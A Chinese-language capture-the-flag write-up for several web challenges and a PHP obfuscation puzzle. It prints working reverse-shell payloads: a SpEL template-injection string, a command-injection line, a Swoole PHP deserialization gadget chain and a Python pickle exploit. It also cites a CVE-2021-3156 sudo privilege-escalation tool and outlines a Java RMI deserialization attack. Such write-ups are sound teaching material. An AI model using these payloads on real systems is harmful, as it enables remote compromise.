Web#

Happy_Valentine’s_Day#

/love页面注释发现/1nt3na1_pr3v13w页面为所制网页的在线显示。填入的name存在于所制网页中显示,考虑ssti。
测试后[[${}]]可执行spel表达式注入。用%0a绕过waf,rce,反弹shell。
发现/flag权限仅root读,用户权限为web。lsb_release -a显示为Ubuntu20.04,sudo版本为1.8.31,可使用CVE-2021-3156提权读取。使用https://github.com/Rvn0xsy/CVE-2021-3156-plus 提权cat /flag得到flag。
ssti payload:

1
name=[[${%0aT(java.lang.Runtime).getRuntime().exec('%2fbin%2fbash+-c+bash%24%7bIFS%7d-i%24%7bIFS%7d%3e%26%2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f10000%3c%261')}]]&password=

Pool Calc#

b处输入存在命令注入,payload:1; bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8888 0>&1" #,反弹shell。
在/app/calc_tools中得到三个容器的客户端,全是序列化数据的操作,考虑分别构造恶意序列化数据rce。
PHP部分
client是个phar包,解包后Calculator.php中定义了__invoke魔术方法,考虑远端使用$var()调用序列化结构。可以参考rctf2020 swoole题目。官方exp无法打通,怀疑未开启mysql功能。使用另一个利用array_walk构造变量名调用exec的方法,成功rce,反弹shell,调用根目录程序得到flag。
payload构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
namespace Swoole\Curl{
final class Handler{
private $client;
private $info = [
'url' => '',
'content_type' => '',
'http_code' => 0,
'header_size' => 0,
'request_size' => 0,
'filetime' => -1,
'ssl_verify_result' => 0,
'redirect_count' => 0,
'total_time' => 5.3E-5,
'namelookup_time' => 0.0,
'connect_time' => 0.0,
'pretransfer_time' => 0.0,
'size_upload' => 0.0,
'size_download' => 0.0,
'speed_download' => 0.0,
'speed_upload' => 0.0,
'download_content_length' => -1.0,
'upload_content_length' => -1.0,
'starttransfer_time' => 0.0,
'redirect_time' => 0.0,
'redirect_url' => '',
'primary_ip' => '',
'certinfo' => [],
'primary_port' => 0,
'local_ip' => '',
'local_port' => 0,
'http_version' => 0,
'protocol' => 0,
'ssl_verifyresult' => 0,
'scheme' => '',
];
private $withHeaderOut = false;
private $withFileTime = false;
private $urlInfo;
private $postData = 'aaa';
private $infile;
private $infileSize = PHP_INT_MAX;
private $outputStream;
private $proxyType;
private $proxy;
private $proxyPort = 1080;
private $proxyUsername;
private $proxyPassword;
private $clientOptions = [];
private $followLocation = false;
private $autoReferer = false;
private $maxRedirects;
private $withHeader = false;
private $nobody = false;
/** @var callable */
private $headerFunction;
/** @var callable */
private $readFunction;
/** @var callable */
private $writeFunction;
/** @var callable */
private $progressFunction;
private $returnTransfer = false;
private $method = 'POST';
private $headers = ['Content-type' => 'application/json'];
private $headerMap = ['content-type' => 'Content-type'];
private $transfer;
private $errCode = 0;
private $errMsg = '';
private $failOnError = false;
private $closed = false;
public $exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10008 0>&1"');
function __construct(){
$this->readFunction = 'array_walk';
$this->outputStream = 'array_walk';
$this->closed = FALSE;
$this->urlInfo = array("host"=>"xxx.xxx.xxx.xxx","port"=>10010,"scheme"=>"http");
}
}
}
namespace{
$handler = new Swoole\Curl\Handler();
$s = serialize([$handler,"exec"]);
echo base64_encode($s);
}

exp:

1
2
3
4
5
6
7
8
9
<?php
$s = base64_decode('base64 data');
$client = new Swoole\Client(SWOOLE_SOCK_TCP);
if (!$client->connect('php_calc', 8080, -1)) {
exit("connect failed. Error: {$client->errCode}\n");
}
$client->send($s);
echo $client->recv();
$client->close();

Python部分
简单的pickle,但我是直接从tmp目录下找了脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket, sys, _pickle as pickle, argparse
import os

class Calculator:
action = None
a = None
b = None

def __init__(self, action, a, b):
self.action = action
self.a = float(a)
self.b = float(b)
def __reduce__(self):
return (os.system,("echo '/bin/sh -i >& /dev/tcp/xxxx/999 0>&1'|bash",))

def generate_data(action, a, b):
obj = Calculator(action, a, b)
data = pickle.dumps(obj)
return data


def send_data(ip, port, pickle_data):
address = (
ip, int(port))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
try:
s.connect(address)
except Exception:
print('Server not found or not open')
sys.exit()

try:
try:
s.sendall(pickle_data)
recv_c = s.recv(1024)
print(recv_c.decode())
except Exception:
s.close()

finally:
s.close()


if __name__ == '__main__':
data = generate_data("add", "1", "2")

Java部分
RMI Registry在java_calc的8080端口,利用attackRmi工具的AttackRegistryByLookupAndUnicastRef来攻击,上传jar到外层主机上,远程起一个JRMPListener,Gadget是CC5,攻击后反弹shell后在根目录下执行getflag获取

Misc#

shellgen2#

用Array“[]”和数字相接,得到字符串Array,取idx=3得到字母a。使用++可得到数字3以及字母a-z。变量名使用$_[_09]*,26个变量名长度不超过4。最后使用<?=和.拼接字母。
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import itertools
perms = []
perms.append('_')
for length in range(1, 4):
for i in itertools.product('_09', repeat=length):
perms.append('_'+''.join(i))

target = input()
result = '<?php $_=0;$__=[].$_;'+'$_++;'*3+'$_0=$__[$_];'
for i in range(26):
result += '$'+perms[i+3]+'=$_0++;'
result += '?><?='

is_first = True

for c in target:
if is_first:
is_first = False
else:
result += '.'
result += '$'+perms[ord(c)-94]
result += '?>'
print(result)